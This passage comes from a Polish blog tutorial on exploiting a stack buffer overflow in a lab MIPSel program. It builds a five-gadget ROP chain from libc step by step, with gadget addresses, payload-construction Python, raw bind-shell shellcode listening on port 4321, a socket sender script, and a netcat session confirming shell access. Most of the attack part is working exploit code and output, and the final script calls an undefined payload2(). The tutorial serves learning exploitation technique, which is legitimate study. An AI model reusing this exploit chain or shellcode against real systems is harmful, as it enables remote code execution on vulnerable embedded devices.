I na koniec ostatnia karkołomna metoda. Zawsze możesz spróbować szukać tych gadgetów ręcznie” – tzn. listować kod każdej funkcji w gdb i czytać go samemu, aż trafisz na właściwy lub też analizować kod biblioteki za pomocą takiego narzędzia jak objdump (objdump -d <lib>), ale szczerze odradzam. Może to przysporzyć Ci wiele straconych godzin lub nieprzespanych nocy z dość marnym rezultatem. Po przejrzeniu ponad 300k linii biblioteki /lib/mipsel-linux-gnu/libc.so.6 w dół i w górę, i tak parę razy – w głowie masz helikopter. Do każdego problemu podchodź twórczo.

Aktualizacja Planu Gry

Jak dobrze pamiętasz – przed samym skokiem do shellcode nasz Game Plan przewiduje trzy punkty do zrobienia. Zostaną one zrealizowane przy użyciu pięciu ROP gadgetów. Czemu aż tylu? Zaraz omówimy sobie każdy z punktów bardziej szczegółowo:

Gadget nr. 1 – kod funkcji setegid”

  • wrzuć do rejestru $ra adres gadgetu numer 2 ze stosu
  • wrzuć do rejestru $s2 adres funkcji sleep() ze stosu
  • wrzuć do rejestru $s1 adres gadgetu numer 3 ze stosu
  • skocz do gadgetu numer 2 (pod adres z rejestru $ra)

Gadget nr. 2 – kod funkcji __libc_system”

  • ustaw parametr funkcji sleep()
  • skocz do gadgetu numer 3 (pod adres z rejestru $s1)

Gadget nr. 3 – kod funkcji xdr_callhdr”

  • wrzuć do rejestru $t9 adres funkcji sleep() ze stosu
  • wrzuć do rejestru $ra adres gadgetu numer 4 ze stosu
  • skocz do funkcji sleep() (pod adres z rejestru $t9)

Gadget nr. 4 – kod funkcji _stdio_openlist_dec_use”

  • wrzuć do rejestru $a0 zmodyfikowany adres $sp (tam gdzie leży shellcode w pamięci)
  • wrzuć do rejestru $t9 adres gadgetu numer 5 ze stosu
  • skocz do gadgetu numer 5 (pod adres z rejestru $t9)

Gadget nr. 5 – kod funkcji xdr_free”

  • wrzuć do rejestru $t9 adres z rejestru $a0 (tam gdzie leży shellcode w pamięci)
  • skocz do shellcode (pod adres z rejestru $t9)

Każdy z gadgetów zostanie omówiony dokładniej dalszej części publikacji.

Przejęcie kontroli w programie w uproszczeniu

Zwróć uwagę na obrazek powyżej. Przedstawia on ogólny zarys procesu, który doprowadzi nas do uruchomienia shella  – program działa zgodnie z założeniami programisty (Flow programu) do momentu, kiedy otrzymuje on pewien ciąg znaków i z powodu braku prawidłowej walidacji wielkości kopiowanych danych od użytkownika do bufora docelowego – dane na stosie zostają nadpisane (w tym także nadpisany $ra – adres powrotu z funkcji). Program następnie dochodzi do momentu, w którym pobiera sobie ten adres z rejestru $ra aby skoczyć we wskazany obszar pamięci – do naszego pierwszego mini kodu assembly, pierwszego ROP Gadgetu”, który pozwoli osiągnąć punkt 1 z planu gry. W dalszej kolejności program wykona skoki do pozostałych ROP Gadgetów by finalnie dostać się miejsce w pamięci gdzie jest umieszczony shellcode.

Budowa stosu – start

Dobra. Odpal jeszcze raz nasz program w gdb (zob. Uruchomienie programu w gdb”) i strzel do niego zmodyfikowanym skryptem w pythonie. Zobaczymy sobie ten nasz pięknie namalowany wyżej payload w debugerze.

Stan programu „socket_bof” po wysłaniu requesta ze skryptu „skrypt zniszecznia”

Zwróć uwagę na obrazek powyżej. Przedstawia on nadpisany rejestr $ra ciągiem znaków Ab7A” zawartych w skrypcie (jest on na napisany na odwrót z uwagi na to, że działamy na MIPS Little Endian – przeczytaj sobie rozdział MIPS vs MIPSel”).

Komendą x/-50x $sp + 100” wyświetlisz sobie ładnie stos, który możesz zobaczyć na obrazku poniżej (tutaj znajdziesz taki cheatsheet jak w różny sposób wyświetlać dane w gdb):

Stan stosu „socket_bof” po wysłaniu requesta ze skryptu “skrypt zniszczenia”

Zobacz teraz co kryje się pod kolorem błękitnym – są to znaki D” zapisane hexadecymalnie jako 0x44”, natomiast 0x43” pokolorowane na żółto i są odpowiednikiem znaku C”. Cóż, wygląda na to, że stos pokrywa się z naszym obrazkiem prezentującym payload – konstrukcja payloadu” ;)

No to super! Podsumowując, co do tej pory już masz: masz ogarnięty payload, który wysyłasz do badanego programu socket_bof”. Nadpisując odpowiednio rejestr $ra swoim adresem przejąłeś kontrolę w badanym programie.

Ostatnia sprawa. Adres, który umieścimy zamiast A7bA” w rejestrze $ra będzie adresem do naszego pierwszego ROP Gadgetu, do którego wykonamy skok. Narazie się nim nie przejmuj – zmodyfikujemy go później ;)

Teraz będzie mała zagadka. Na jednym z obrazków powyżej przedstawiony jest rejestr $sp. Pamiętasz do czego on służy? Jaki adres on przechowuje? Jeśli nie, to dobrze by było abyś sobie o nim przypomniał. Rejestr ten będzie niezwykle istotny w konstruowaniu ROP Gadgetów w dalszej części publikacji. Możesz podejrzeć jego wartość za pomocą polecenia: x/x 0x7fffe608”.

Gadget 1

Nasz program socket_bof” do swojego prawidłowego działania korzysta z bibliotek ładowanych do pamięci. To właśnie z kodu funkcji załadowanych bibliotek będziemy budować sobie swoje ROP Gadgety. Rozpoczniemy od pierwszego z nich, znajdującego się w funkcji setegid”. 

Funkcja ta posiada interesujący dla nas kawałek kodu, do którego wykonamy skok:

0x77ef3090 <+176>: lw ra,36(sp)

0x77ef3094 <+180>: lw s2,32(sp)

0x77ef3098 <+184>: lw s1,28(sp)

0x77ef309c <+188>: lw s0,24(sp)

0x77ef30a0 <+192>: jr ra

Pierwszy ROP Gadget. Wycinek kodu assembly z funkcji setegid”

A dokładniej do adresu 0x77ef3090”, zatem zmodyfikujmy nasz payload w funkcji payload” ze skryptu zniszczenia” tak aby nadpisany adres rejestru $ra ciągiem Ab7A” zastąpić adresem pierwszej instrukcji z naszego pierwszego ROP Gadgetu:

def payload():
    p = 'D' * 51
    p += struct.pack('<I', 0x77ef3090)
    p += ‘C’ * 100

Super. Przeanalizujmy na szybkości co robi powyższy kod assembly: ładuje on wartości ze stosu do rejestrów kolejno $ra, $s2, $s1 oraz $s0 w oparciu o rejestr $sp z odpowiednimi offsetami a następnie wykonuje skok pod adres rejestru $ra.

Graficzne przedstawienie pierwszego ROP Gadgetu

Wykonując skok do kodu z funkcji setegid” lub podobnego będziemy mieli kontrolę nad kilkoma rejestrami ponieważ bez tego finalne uruchomienie naszego przesłanego shellcode byłoby niemożliwe o czym przekonasz się w dalszej części tego materiału.

Tutaj mała podpowiedź: w tym kodzie assembly będzie nas interesowało nadpisanie wartości w rejestrach $s1, $s2 oraz $ra. W rejestrze $s1 umieścimy adres do trzeciego ROP Gadgetu natomiast adres funkcji sleep()” zostanie umieszczony w rejestrze $s2. Rejestr $ra będzie posiadał adres drugiego ROP Gadgetu, do którego wykonamy skok. 

W tym celu zaktualizujmy ponownie nasz sktypt zniszczenia” usuwając znak C” a w jego miejsce następujący ciąg znaków:

def payload():
    p = 'D' * 51
    p += struct.pack('<I', 0x77ef3090) # adres gadgetu nr. 1
    p += ‘Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A’

aktualizacja payloadu

Odpal ponownie program w gdb (run 1337”) a następnie wykonaj skrypt z payloadem.

Analiza wykonania kodu assembly z funkcji „setegid”

Zobacz na obrazku powyżej, że po skoku do funkcji setegid” rejestry $s0, $s1, $2 oraz $ra zostały nadpisane ciągiem znaków przesłanych przez nasz skrypt. Odnajdź teraz wartości nadpisanych rejestrów w payloadzie i podmień je kolejno:

  • a9Ab” na adres “0x47474747”

Adres gadgetu nr. 3. Jeszcze go nie znamy zatem ustawimy go na testowy. Podmienimy go później.

  • 0Ab1” na adres “0x77f192b0”

Jest to adres funkcji sleep()”. Znajdziesz go wywołując komendę info address sleep” w gdb.

  • Ab2A” na adres 0x48484848”

Adres gadgetu numer 2. Do podmiany później. 

def payload():

    p = 'D' * 51
    p += struct.pack('<I', 0x77ef3090) # adres gadgetu nr. 1
    p += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A'
    p += struct.pack('<I', 0x47474747)
    p += struct.pack('<I', 0x77f192b0) # adres funkcji sleep()
    p += struct.pack('<I', 0x48484848)
    p += 'b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'

    return p

Uruchom cały proces debugu jeszcze raz. Po wykonaniu skryptu w pythonie rejestr $s1 powinien posiadać wartość GGGG” (0x47474747”), $s2 adres 0x77f192b0” a rejestr $ra HHHH” (0x48484848”). Jeśli Ci się to udało to ekstra! Jedziemy dalej do kolejnego gadgetu :)

Gadget 2

Kod assembly zawarty w funkcji __libc_system” będzie naszym drugim gadgetem, do którego wykonamy skok. Ustawi on odpowiednio parametr funkcji sleep()”.

0x77f1614c <+380>: li a0,3

0x77f16150 <+384>: move t9,s1

0x77f16154 <+388>: jalr t9

Drugi ROP Gadget. Wycinek kodu assembly z funkcji „__libc_system”

Mając wiedzę z poprzednich lekcji mam nadzieję, że kod jest dla Ciebie jasny ;). Program:

  • ładuje liczbę 3” do rejestru $a0
  • kopiuje adres z rejestru $s1 do rejestru $t9
  • Wykonuje skok do pamięci pod adres z rejestru $t9

Rejestr $a0, który jest odpowiedzialny za przechowywanie parametrów funkcji zawiera teraz liczbę 3 i to jest wszystko, co miał do wykonania. 

Aktualizujemy nasz payload dodając do niego w odpowiednie miejsce adres gadgetu numer dwa:

def payload():

    p = 'D' * 51
    p += struct.pack('<I', 0x77ef3090) # adres gadgetu nr. 1
    p += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A'
    p += struct.pack('<I', 0x47474747)
    p += struct.pack('<I', 0x77f192b0) # adres funkcji sleep()
    p += struct.pack('<I', 0x77f1614c) # adres gadgetu nr. 2
    p += 'b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'

    return p

Możemy więc przejść do omówienia gadgetu numer trzy.

Gadget 3

W gadgecie numer trzy posłużymy się kodem assembly z funkcji xdr_callhdr” przedstawionym poniżej:

0x77f0af1c <+176>: move t9,s2

0x77f0af20 <+180>: lw ra,36(sp)

0x77f0af24 <+184>: lw s2,32(sp)

0x77f0af28 <+188>: lw s1,28(sp)

0x77f0af2c <+192>: lw s0,24(sp)

0x77f0af30 <+196>: jr t9

Trzeci ROP Gadget. Wycinek kodu assembly z funkcji xdr_callhdr”

Cofnij się teraz na moment do swojego payloadu i podmień testowy adres (0x47474747”) nadpisujący rejestr $ra na adres 0x77f0af1c” (pierwszej instrukcji z funkcji xdr_callhdr”) i ponownie wykonaj debug.

def payload():

    p = 'D' * 51
    p += struct.pack('<I', 0x77ef3090) # adres gadgetu nr. 1
    p += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A'
    p += struct.pack('<I', 0x77f0af1c) # adres gadgetu nr. 3
    p += struct.pack('<I', 0x77f192b0) # adres funkcji sleep()
    p += struct.pack('<I', 0x77f1614c) # adres gadgetu nr. 2
    p += 'b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'

    return p

Aktualizacja payloadu – gadget numer 3

Teraz wróć do kodu z funkcji xdr_callhdr”. Powinien być on dla Ciebie zrozumiały. Najpierw wartość rejestru $s2 ląduje w $t9 po czym dane ze stosu ładowane są do kolejnych rejestrów. Kod wygląda standardowo ale coś tu jest nie tak..

Gadget numer 3 posłuży nam wreszcie do skoku i wykonania funkcji sleep()”. Znowu zagadka: skąd program będzie wiedział gdzie pójść dalej po wykonaniu funkcji sleep()”? Spójrz na kod jeszcze raz.

.

.

.

Mogę już? 

Jeśli trochę pokombinowałeś, to pewnie zrobiłeś ;> Rozwiązanie rozpoczyna się od instrukcji lw ra,36(sp)”. Zauważ, że przed wykonaniem kolejnego skoku (jr t9 – linia +196) procesor skopiuje adres z pamięci do rejestru $ra (“+180”). Zapewniamy w ten sposób kontrolę nad procesem powrotu z funkcji sleep(). Procesor skacząc do funkcji sleep() będzie wiedział, w jakie miejsce ma powrócić po jej wykonaniu – skoczy on pod adres rejestru $ra czyli do gadgetu numer cztery. Fajne, co? :)

Graficzne przedstawienie trzeciego ROP Gadgetu

Ciemniejszy kolor rejestrów $s1 oraz $s2 na obrazku powyżej ma świadczyć o tym, że nadpisanie ich wartości nie będzie miało dla nas znaczenia w tym kroku gdzie się znajdujemy. Uruchom program socket_bof” w gdb i strzel w niego naszym skryptem z funkcją widniejącą w Aktualizacja payloadu – gadget numer 3”.

.

Ciąg c5Ac” to miejsce, gdzie wstawimy adres do naszego czwartego gadgetu. Zwróć też uwagę jakimi danymi został nadpisany rejestr $s0. On także przyda nam się w następnym kroku. Dobra, połowę mamy już za sobą. Pora na gadget numer 4!

Gadget 4

W tym miejscu będą działy się jeszcze ciekawsze rzeczy! Zobacz sam:

0x77f05230 <+128>: move t9,s0

0x77f05234 <+132>: jalr t9

0x77f05238 <+136>: addiu a0,sp,40

Czwarty ROP Gadget. Wycinek kodu assembly z funkcji _stdio_openlist_dec_use”

Poznaj część kodu assembly funkcji _stdio_openlist_dec_use” ;) Gadget ten jest dla nas dość istotny ponieważ musimy odpowiednio nadpisać rejestr $a0 w taki sposób aby posiadał adres miejsca w pamięci, w którym rozpoczyna się przesłany shellcode.

Zatrzymajmy się tutaj aby zaktualizować nasz payload o zebrane informacje.

def payload():

    p = 'D' * 51
    p += struct.pack('<I', 0x77ef3090) # adres gadgetu nr. 1
    p += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A'
    p += struct.pack('<I', 0x77f0af1c) # adres gadgetu nr. 3
    p += struct.pack('<I', 0x77f192b0) # adres funkcji sleep()
    p += struct.pack('<I', 0x77f1614c) # adres gadgetu nr. 2
    p += 'b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A'
    p += struct.pack('<I', 0x48484848)
    p += '2Ac3Ac4A'
    p += struct.pack('<I', 0x77f05230) # adres gadgetu nr. 4
    p += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9'

    return p

Okej, pora na wyjaśnienie kodu assembly z naszego małego gadgetu. Mamy kontrolę nad tym co zapisujemy do rejestru $s0 a więc tam powędruje adres ostatniego gadgetu numer pięć. Instrukcja “jalr” oczywiście spowoduje skok do podanego adresu w pamięci – czy aby na pewno jest to jej jedyne zadanie? No właśnie. 

Jak pamiętasz z poprzednich lekcji, że W momencie wykonywania instrukcji takiej jak jal, jalr („Jump and link”) adres powrotu ($ra) jest zamieniany na adres: PC + 8 bajtów, czyli adres powrotu wskazuje na drugą instrukcję pod instrukcją jump. Dzieje się tak dlatego, że wykonywany zostaje także tzw. „branch delay slot” – program tuż przed skokiem do funkcji wykonuje instrukcję znajdującą się pod instrukcją jump (adres PC + 4 bajty). W przypadku gadgetu numer cztery będzie to instrukcja addiu a0,sp,40” (+136).

Instrukcja addiu” (add immediate unsigned) wypełni rejestr $a0 adresem rejestru sp plus offset w postaci wartości typu integer – 0x40. Będziemy mogli dzięki temu obliczyć, w jakim miejscu w pamięci powinien być umiejscowiony nasz shellcode. Pod ten zmodyfikowany adres wykonamy skok już do naszego shellcode.

Analiza działania gadgetu numer cztery

Zwróć teraz uwagę na obrazek poniżej a w szczególności na rejestr $a0.

.

W ostatniej linijce naszego payloadu został zwiększony ciąg znaków tak, aby nadpisywał on rejestr $a0. Skok pod nadpisany adres w tym rejestrze będzie naszą ostatnią operacją.

Gadget 5

Zbliżamy się już do finału. Ostatni kod assembly jaki wykorzystamy siedzi w funkcji xdr_free”.

0x77f0b4a0 <+16>: move t9,a0

0x77f0b4a4 <+20>: sw v0,24(sp)

0x77f0b4a8 <+24>: jalr t9

Piąty ROP Gadget. Wycinek kodu assembly z funkcji xdr_free”

Kod ten robi jedną ważną rzecz – wykonuje skok do adresu z rejestru $a0, który nadpisaliśmy w poprzednim rozdziale. Linia +20 nas nie interesuje. 

Widzisz na obrazku powyżej pierwsze bajty nadpisanego rejestru $a0? Usuwamy ciąg znaków rozpoczynający się od b3” a w to miejsce wklejamy shellcode.

Voila!

Ahhh byłbym zapomniał ;> W miejsce adresu nadpisującego rejestr $s0 wklejamy oczywiście adres pierwszej instrukcji piątego gadgetu (0x77f0b4a0”) żeby tam wykonać skok. O mało co byłoby tak jak w scenie z filmu Ocean’s Eleven kiedy Danny Ocean z Linusem wysadzali właz do skarbca..

def shellcode():


    """

    mipsle bind localhost shellcode

    port 4321

    https://github.com/threat9/routersploit/blob/master/docs/modules/payloads/mipsle/bind_tcp.md

    """

    return (

            "\xe0\xff\xbd\x27\xfd\xff\x0e\x24\x27\x20\xc0\x01\x27\x28\xc0"
            "\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01\xff\xff"
            "\x50\x30\xef\xff\x0e\x24\x27\x70\xc0\x01\x10\xe1\x0d\x24\x04"
            "\x68\xcd\x01\xfd\xff\x0e\x24\x27\x70\xc0\x01\x25\x68\xae\x01"
            "\xe0\xff\xad\xaf\xe4\xff\xa0\xaf\xe8\xff\xa0\xaf\xec\xff\xa0"
            "\xaf\x25\x20\x10\x02\xef\xff\x0e\x24\x27\x30\xc0\x01\xe0\xff"
            "\xa5\x23\x49\x10\x02\x24\x0c\x01\x01\x01\x25\x20\x10\x02\x01"
            "\x01\x05\x24\x4e\x10\x02\x24\x0c\x01\x01\x01\x25\x20\x10\x02"
            "\xff\xff\x05\x28\xff\xff\x06\x28\x48\x10\x02\x24\x0c\x01\x01"
            "\x01\xff\xff\xa2\xaf\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff"
            "\xa4\x8f\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
            "\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28"
            "\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf\x73\x68\x0e"
            "\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf\xf4\xff\xa0\xaf\xec\xff"
            "\xa4\x27\xf8\xff\xa4\xaf\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab"
            "\x0f\x02\x24\x0c\x01\x01\x01"
    ) 



def payload():

    p = 'D' * 51
    p += struct.pack('<I', 0x77ef3090) # adres gadgetu nr. 1
    p += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A'
    p += struct.pack('<I', 0x77f0af1c) # adres gadgetu nr. 3
    p += struct.pack('<I', 0x77f192b0) # adres funkcji sleep()
    p += struct.pack('<I', 0x77f1614c) # adres gadgetu nr. 2
    p += 'b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A'
    p += struct.pack('<I', 0x77f0b4a0) # adres gadgetu nr. 5
    p += '2Ac3Ac4A'
    p += struct.pack('<I', 0x77f05230) # adres gadgetu nr. 4
    p += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A'
    p += shellcode()

    return p

client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

ip=socket.gethostbyname("127.0.0.1")

port=int(sys.argv[1])

address=(ip,port)

client.connect(address)

print("[+] sending..")

p = payload2()
client.send(p)
data = client.recv(1024)

print(data)

Finałowy eksploit.py

Pozostało nam tylko odpalić naszego zmontowanego exploita:

mipsel@ ~# python exploit.py

Sprawdzamy otwarty port:

mipsel@ ~# netstat -ltn

Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address Foreign Address State

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN

tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN

tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN

tcp 0 0 0.0.0.0:4321 0.0.0.0:* LISTEN

tcp6 0 0 ::1:25 :::* LISTEN

Port 4321 otwarty to wchodzimy.

mipsel@ ~# nc localhost 4321

ls

data.txt

Koniec gry! Chociaż nie…

Co dalej?

Wejdź w temat głębiej. Nie poruszyłbym tak mega ciekawego tematu bez wsparcia w formie publikacji kilku wysokiej klasy specjalistów, którzy poświęcili swój czas tworząc super artykuły, które zamieściłem poniżej, a z których także korzystałem. Dlatego mocno Cię zachęcam do ich przestudiowania i praktyki oczywiście.

Buffer overflow to nie wszystko. Warto pójść z tematem MIPSa jeszcze dalej, o ile tego już nie zrobiłeś. Poniżej przedstawię parę obszarów, które naprawdę warto byłoby poznać lepiej:

– budowanie swojego shellcode: nie tylko uzyskanie powłoki, ale każda inna operacja, którą byś musiał wykonać – nie byłaby już dla Ciebie problemem.

– kontynuowanie działania procesu po eksploitacji: bardzo ciekawe zagadnienie;po udanej eksploitacji nie możesz ponownie zaatakować badanej aplikacji, ponieważ nastąpił crash i przestała działać? Cóż, okazuje się można sobie z tym jakoś poradzić.

Możliwości związanych z bezpieczeństwem samego IoT jest oczywiście kilka. Jeśli chodzi o soft to zachęcam Cię do zapoznania się z inną, bardzo popularną architekturą RISC jaką jest ARM. Jeśli wziąć pod uwagę, że procki ARMa są jednymi z najpopularniejszych na Świecie to można śmiało powiedzieć, że jest co hakować a przesiadka z MIPSa wcale nie boli :)

A może zaciekawi Cię bardziej Świat hardware hackingu? Jak wejdziesz następnym razem do garażu to zastanów się czy aby nie zaparkowałeś tam swojego czterokołowego komputera w bardzo dużej oprawie ;)

Na koniec

Na koniec będzie parę słów dla tych, co dopiero zaczynają ;)

Kiedyś parę lat temu na IRCu jeden z kolegów napisał zdanie, które miało mniej więcej taki sens:

`< > Siedziałem nad tym zadaniem pół nocy i nic nie zrobiłem. Dzisiaj z rana usiadłem do tematu na świeżo i poszło!`

Przez niektóre zagadnienia przebrniesz łatwo, lecz może się tak zdarzyć, że nad niektórymi będziesz musiał spędzić trochę czasu trafiając na ścianę nie do przejścia tylko z pozoru. Traktuj swoje badania z pewnym dystansem i nieustępliwością, a na pewno to zrobisz ;)

–Mateusz Wójcik – Squadron31

Podziękowania dla Grześka Wypycha za cenne uwagi i poprawki do tekstu.

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Kamil

    Świetny materiał! Strona Heffnera nie działa już od dłuższego czasu, a szkoda, bo siedział tam kontent wręcz wybitny jeśli chodzi o MIPS, IDĘ i skrypty do niej + analiza binwalkiem.

    Odpowiedz
  2. m4n0

    Świetny tutorial. Jeden screen nieco ujawnia z Twojego fejsa i bookmarks bara. Chyba nie było to zamierzone. :P Z fartem!

    Odpowiedz

Odpowiedz na m4n0